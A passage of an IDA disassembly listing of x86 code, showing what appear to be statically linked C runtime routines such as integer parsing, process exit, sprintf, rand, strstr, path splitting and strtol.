loc_417A33:				; CODE XREF: .data:00417A1Ej
		mov	eax, [ebp-4]
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp-18h], edx


loc_417A48:				; CODE XREF: .data:00417A31j
		cmp	dword ptr [ebp-18h], 0
		jz	short loc_417A89
		push	0
		push	0Ah
		mov	eax, [ebp-8]
		push	eax
		mov	ecx, [ebp-0Ch]
		push	ecx
		call	sub_4206E0
		mov	ecx, eax
		mov	esi, edx
		mov	eax, [ebp-4]
		sub	eax, 30h
		cdq
		add	ecx, eax
		adc	esi, edx
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], esi
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		add	ecx, 1
		mov	[ebp+8], ecx
		jmp	short loc_417A17
; ---------------------------------------------------------------------------


loc_417A89:				; CODE XREF: .data:00417A4Cj
		cmp	dword ptr [ebp-10h], 2Dh
		jnz	short loc_417A9E
		mov	eax, [ebp-0Ch]
		neg	eax
		mov	edx, [ebp-8]
		adc	edx, 0
		neg	edx
		jmp	short loc_417AA4
; ---------------------------------------------------------------------------


loc_417A9E:				; CODE XREF: .data:00417A8Dj
		mov	eax, [ebp-0Ch]
		mov	edx, [ebp-8]


loc_417AA4:				; CODE XREF: .data:00417A9Cj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AB0	proc near		; CODE XREF: sub_41AB00+D2p
		push	ebp
		mov	ebp, esp
		cmp	off_444EBC, 0
		jz	short loc_417AC2
		call	off_444EBC


loc_417AC2:				; CODE XREF: sub_417AB0+Aj
		push	offset dword_43702C
		push	offset dword_437018
		call	sub_417C80
		add	esp, 8
		push	offset dword_437014
		push	offset dword_437000
		call	sub_417C80
		add	esp, 8
		pop	ebp
		retn
sub_417AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AF0	proc near		; CODE XREF: sub_41AB00+12Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_417B70
		add	esp, 0Ch
		pop	ebp
		retn
sub_417AF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B10	proc near		; CODE XREF: .data:0041AC54p
					; sub_41AC70+22p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_417B70
		add	esp, 0Ch
		pop	ebp
		retn
sub_417B10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	0
		push	0
		call	sub_417B70
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	1
		push	0
		call	sub_417B70
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B70	proc near		; CODE XREF: sub_417AF0+Bp
					; sub_417B10+Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_417C60
		cmp	dword_4DDFC0, 1
		jnz	short loc_417B93
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E03C4	; GetCurrentProcess
		push	eax
		call	dword_4E03BC	; TerminateProcess


loc_417B93:				; CODE XREF: sub_417B70+10j
		mov	dword_4DDFBC, 1
		mov	cl, byte ptr [ebp+arg_8]
		mov	byte_4DDFB8, cl
		cmp	[ebp+arg_4], 0
		jnz	short loc_417BF3
		cmp	dword_4DF694, 0
		jz	short loc_417BE1
		mov	edx, dword_4DF690
		mov	[ebp+var_4], edx


loc_417BBE:				; CODE XREF: sub_417B70:loc_417BDFj
		mov	eax, [ebp+var_4]
		sub	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DF694
		jb	short loc_417BE1
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_417BDF
		mov	eax, [ebp+var_4]
		call	dword ptr [eax]


loc_417BDF:				; CODE XREF: sub_417B70+68j
		jmp	short loc_417BBE
; ---------------------------------------------------------------------------


loc_417BE1:				; CODE XREF: sub_417B70+43j
					; sub_417B70+60j
		push	offset dword_437038
		push	offset dword_437030
		call	sub_417C80
		add	esp, 8


loc_417BF3:				; CODE XREF: sub_417B70+3Aj
		push	offset dword_437044
		push	offset dword_43703C
		call	sub_417C80
		add	esp, 8
		cmp	dword_4DDFC4, 0
		jnz	short loc_417C2E
		push	0FFFFFFFFh
		call	sub_4167D0
		add	esp, 4
		and	eax, 20h
		test	eax, eax
		jz	short loc_417C2E
		mov	dword_4DDFC4, 1
		call	sub_417280


loc_417C2E:				; CODE XREF: sub_417B70+9Cj
					; sub_417B70+ADj
		cmp	[ebp+arg_8], 0
		jz	short loc_417C3B
		call	sub_417C70
		jmp	short loc_417C4F
; ---------------------------------------------------------------------------


loc_417C3B:				; CODE XREF: sub_417B70+C2j
		mov	dword_4DDFC0, 1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4E0328	; ExitProcess


loc_417C4F:				; CODE XREF: sub_417B70+C9j
		mov	esp, ebp
		pop	ebp
		retn
sub_417B70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C60	proc near		; CODE XREF: sub_417B70+4p
					; sub_419EA0+4p
		push	ebp
		mov	ebp, esp
		push	0Dh
		call	sub_41BC80
		add	esp, 4
		pop	ebp
		retn
sub_417C60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C70	proc near		; CODE XREF: sub_417B70+C4p
					; sub_419EA0+61p ...
		push	ebp
		mov	ebp, esp
		push	0Dh
		call	sub_41BD20
		add	esp, 4
		pop	ebp
		retn
sub_417C70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C80	proc near		; CODE XREF: sub_417AB0+1Cp
					; sub_417AB0+2Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp


loc_417C83:				; CODE XREF: sub_417C80+21j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_417CA3
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0
		jz	short loc_417C98
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx]


loc_417C98:				; CODE XREF: sub_417C80+11j
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		jmp	short loc_417C83
; ---------------------------------------------------------------------------


loc_417CA3:				; CODE XREF: sub_417C80+9j
		pop	ebp
		retn
sub_417C80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CB0	proc near		; CODE XREF: sub_401404+18Cp
					; sub_401404+283p ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_8]
		mov	[ebp+var_2C], ecx


loc_417CC5:				; CODE XREF: sub_417CB0+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_417CE9
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Dh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_417CE9
		int	3		; Trap to Debugger


loc_417CE9:				; CODE XREF: sub_417CB0+19j
					; sub_417CB0+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_417CC5


loc_417CEF:				; CODE XREF: sub_417CB0+67j
		cmp	[ebp+arg_4], 0
		jnz	short loc_417D13
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Eh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_417D13
		int	3		; Trap to Debugger


loc_417D13:				; CODE XREF: sub_417CB0+43j
					; sub_417CB0+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_417CEF
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 42h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	dword ptr [eax+4], 7FFFFFFFh
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_4209A0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_24]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_24]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_417D8F
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	byte ptr [eax],	0
		xor	ecx, ecx
		and	ecx, 0FFh
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx], eax
		jmp	short loc_417DA0
; ---------------------------------------------------------------------------


loc_417D8F:				; CODE XREF: sub_417CB0+BBj
		mov	edx, [ebp+var_24]
		push	edx
		push	0
		call	sub_420720
		add	esp, 8
		mov	[ebp+var_30], eax


loc_417DA0:				; CODE XREF: sub_417CB0+DDj
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_417CB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DB0	proc near		; CODE XREF: sub_401404+45p
					; sub_401C87+4484p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_421920
		mov	ecx, [ebp+arg_0]
		mov	[eax+14h], ecx
		pop	ebp
		retn
sub_417DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DC0	proc near		; CODE XREF: sub_401404:loc_401559p
					; sub_401404:loc_401875p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_421920
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	edx, [ebp+var_4]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		shr	eax, 10h
		and	eax, 7FFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_417DC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417E00	proc near		; CODE XREF: sub_401404+12Ap
					; sub_401C87+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_417E7A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_417E67


loc_417E18:				; CODE XREF: sub_417E00+52j
					; sub_417E00+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_417E3A
		test	al, al
		jz	short loc_417E34


loc_417E29:				; CODE XREF: sub_417E00+32j
		mov	al, [esi]
		inc	esi


loc_417E2C:				; CODE XREF: sub_417E00+3Fj
		cmp	al, dl
		jz	short loc_417E3A
		test	al, al
		jnz	short loc_417E29


loc_417E34:				; CODE XREF: sub_417E00+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417E3A:				; CODE XREF: sub_417E00+23j
					; sub_417E00+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_417E2C
		lea	edi, [esi-1]


loc_417E44:				; CODE XREF: sub_417E00+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_417E73
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417E18
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_417E73
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_417E44
		jmp	short loc_417E18
; ---------------------------------------------------------------------------


loc_417E67:				; CODE XREF: sub_417E00+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418976
; ---------------------------------------------------------------------------


loc_417E73:				; CODE XREF: sub_417E00+49j
					; sub_417E00+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417E7A:				; CODE XREF: sub_417E00+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417E00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E80	proc near		; CODE XREF: sub_401404+117p
					; sub_401C87+16C3p ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_C]
		mov	[ebp+var_2C], ecx


loc_417E95:				; CODE XREF: sub_417E80+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_417EB9
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Dh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_417EB9
		int	3		; Trap to Debugger


loc_417EB9:				; CODE XREF: sub_417E80+19j
					; sub_417E80+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_417E95


loc_417EBF:				; CODE XREF: sub_417E80+67j
		cmp	[ebp+arg_8], 0
		jnz	short loc_417EE3
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Eh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_417EE3
		int	3		; Trap to Debugger


loc_417EE3:				; CODE XREF: sub_417E80+43j
					; sub_417E80+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_417EBF
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 42h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_4209A0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	edx, [ebp+var_24]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_24]
		cmp	dword ptr [edx+4], 0
		jl	short loc_417F5E
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		mov	byte ptr [ecx],	0
		xor	edx, edx
		and	edx, 0FFh
		mov	[ebp+var_30], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+var_24]
		mov	[edx], ecx
		jmp	short loc_417F6F
; ---------------------------------------------------------------------------


loc_417F5E:				; CODE XREF: sub_417E80+BAj
		mov	eax, [ebp+var_24]
		push	eax
		push	0
		call	sub_420720
		add	esp, 8
		mov	[ebp+var_30], eax


loc_417F6F:				; CODE XREF: sub_417E80+DCj
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_417E80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F80	proc near		; CODE XREF: sub_401404+F7p
					; sub_401C87+1DB5p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_414EC0
		add	esp, 4
		cmp	eax, 1
		jb	short loc_417FDB
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx+1]
		cmp	edx, 3Ah
		jnz	short loc_417FDB
		cmp	[ebp+arg_4], 0
		jz	short loc_417FD0
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422300
		add	esp, 0Ch
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edx+2], 0


loc_417FD0:				; CODE XREF: sub_417F80+35j
		mov	eax, [ebp+arg_0]
		add	eax, 2
		mov	[ebp+arg_0], eax
		jmp	short loc_417FE7
; ---------------------------------------------------------------------------


loc_417FDB:				; CODE XREF: sub_417F80+23j
					; sub_417F80+2Fj
		cmp	[ebp+arg_4], 0
		jz	short loc_417FE7
		mov	ecx, [ebp+arg_4]
		mov	byte ptr [ecx],	0


loc_417FE7:				; CODE XREF: sub_417F80+59j
					; sub_417F80+5Fj
		mov	[ebp+var_C], 0
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		jmp	short loc_417FFF
; ---------------------------------------------------------------------------


loc_417FF6:				; CODE XREF: sub_417F80:loc_41805Cj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_417FFF:				; CODE XREF: sub_417F80+74j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_41805E
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		xor	edx, edx
		mov	dl, byte_4DE541[ecx]
		and	edx, 4
		test	edx, edx
		jz	short loc_41802A
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_41805C
; ---------------------------------------------------------------------------


loc_41802A:				; CODE XREF: sub_417F80+9Dj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Fh
		jz	short loc_418040
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 5Ch
		jnz	short loc_41804B


loc_418040:				; CODE XREF: sub_417F80+B3j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	short loc_41805C
; ---------------------------------------------------------------------------


loc_41804B:				; CODE XREF: sub_417F80+BEj
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Eh
		jnz	short loc_41805C
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx


loc_41805C:				; CODE XREF: sub_417F80+A8j
					; sub_417F80+C9j ...
		jmp	short loc_417FF6
; ---------------------------------------------------------------------------


loc_41805E:				; CODE XREF: sub_417F80+87j
		cmp	[ebp+var_C], 0
		jz	short loc_4180B4
		cmp	[ebp+arg_8], 0
		jz	short loc_4180AC
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_0]
		cmp	eax, 0FFh
		jnb	short loc_418082
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+arg_0]
		mov	[ebp+var_14], ecx
		jmp	short loc_418089
; ---------------------------------------------------------------------------


loc_418082:				; CODE XREF: sub_417F80+F5j
		mov	[ebp+var_14], 0FFh


loc_418089:				; CODE XREF: sub_417F80+100j
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_422300
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_10]
		mov	byte ptr [eax],	0


loc_4180AC:				; CODE XREF: sub_417F80+E8j
		mov	ecx, [ebp+var_C]
		mov	[ebp+arg_0], ecx
		jmp	short loc_4180C0
; ---------------------------------------------------------------------------


loc_4180B4:				; CODE XREF: sub_417F80+E2j
		cmp	[ebp+arg_8], 0
		jz	short loc_4180C0
		mov	edx, [ebp+arg_8]
		mov	byte ptr [edx],	0


loc_4180C0:				; CODE XREF: sub_417F80+132j
					; sub_417F80+138j
		cmp	[ebp+var_8], 0
		jz	loc_41816A
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_0]
		jb	loc_41816A
		cmp	[ebp+arg_C], 0
		jz	short loc_41811F
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+arg_0]
		cmp	ecx, 0FFh
		jnb	short loc_4180F5
		mov	edx, [ebp+var_8]
		sub	edx, [ebp+arg_0]
		mov	[ebp+var_18], edx
		jmp	short loc_4180FC
; ---------------------------------------------------------------------------


loc_4180F5:				; CODE XREF: sub_417F80+168j
		mov	[ebp+var_18], 0FFh


loc_4180FC:				; CODE XREF: sub_417F80+173j
		mov	eax, [ebp+var_18]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_422300
		add	esp, 0Ch
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_10]
		mov	byte ptr [ecx],	0


loc_41811F:				; CODE XREF: sub_417F80+15Aj
		cmp	[ebp+arg_10], 0
		jz	short loc_418168
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+var_8]
		cmp	edx, 0FFh
		jnb	short loc_41813E
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		jmp	short loc_418145
; ---------------------------------------------------------------------------


loc_41813E:				; CODE XREF: sub_417F80+1B1j
		mov	[ebp+var_1C], 0FFh


loc_418145:				; CODE XREF: sub_417F80+1BCj
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	sub_422300
		add	esp, 0Ch
		mov	edx, [ebp+arg_10]
		add	edx, [ebp+var_10]
		mov	byte ptr [edx],	0


loc_418168:				; CODE XREF: sub_417F80+1A3j
		jmp	short loc_4181BE
; ---------------------------------------------------------------------------


loc_41816A:				; CODE XREF: sub_417F80+144j
					; sub_417F80+150j
		cmp	[ebp+arg_C], 0
		jz	short loc_4181B2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		cmp	eax, 0FFh
		jnb	short loc_418188
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_0]
		mov	[ebp+var_20], ecx
		jmp	short loc_41818F
; ---------------------------------------------------------------------------


loc_418188:				; CODE XREF: sub_417F80+1FBj
		mov	[ebp+var_20], 0FFh


loc_41818F:				; CODE XREF: sub_417F80+206j
		mov	edx, [ebp+var_20]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_422300
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_10]
		mov	byte ptr [eax],	0


loc_4181B2:				; CODE XREF: sub_417F80+1EEj
		cmp	[ebp+arg_10], 0
		jz	short loc_4181BE
		mov	ecx, [ebp+arg_10]
		mov	byte ptr [ecx],	0


loc_4181BE:				; CODE XREF: sub_417F80:loc_418168j
					; sub_417F80+236j
		mov	esp, ebp
		pop	ebp
		retn
sub_417F80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4181D0	proc near		; CODE XREF: sub_401B0B+8p
					; sub_401C87+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_4181F0


loc_4181DC:				; CODE XREF: sub_4181D0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_4181DC


loc_4181F0:				; CODE XREF: sub_4181D0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_4181D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418200	proc near		; CODE XREF: sub_41F690+1C3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_418220
		add	esp, 10h
		pop	ebp
		retn
sub_418200	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418220	proc near		; CODE XREF: sub_418200+11p
					; sub_418560+11p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], 0
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_418244:				; CODE XREF: sub_418220+77j
		cmp	dword_447480, 1
		jle	short loc_418266
		push	8
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_18], eax
		jmp	short loc_418280
; ---------------------------------------------------------------------------


loc_418266:				; CODE XREF: sub_418220+2Bj
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8
		mov	[ebp+var_18], ecx


loc_418280:				; CODE XREF: sub_418220+44j
		cmp	[ebp+var_18], 0
		jz	short loc_418299
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_8], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_418244
; ---------------------------------------------------------------------------


loc_418299:				; CODE XREF: sub_418220+64j
		movsx	edx, byte ptr [ebp+var_8]
		cmp	edx, 2Dh
		jnz	short loc_4182BD
		mov	eax, [ebp+arg_C]
		or	al, 2
		mov	[ebp+arg_C], eax
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_4182D7
; ---------------------------------------------------------------------------


loc_4182BD:				; CODE XREF: sub_418220+80j
		movsx	ecx, byte ptr [ebp+var_8]
		cmp	ecx, 2Bh
		jnz	short loc_4182D7
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_8], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_4182D7:				; CODE XREF: sub_418220+9Bj
					; sub_418220+A4j
		cmp	[ebp+arg_8], 0
		jl	short loc_4182E9
		cmp	[ebp+arg_8], 1
		jz	short loc_4182E9
		cmp	[ebp+arg_8], 24h
		jle	short loc_4182FE


loc_4182E9:				; CODE XREF: sub_418220+BBj
					; sub_418220+C1j
		cmp	[ebp+arg_4], 0
		jz	short loc_4182F7
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	[edx], eax


loc_4182F7:				; CODE XREF: sub_418220+CDj
		xor	eax, eax
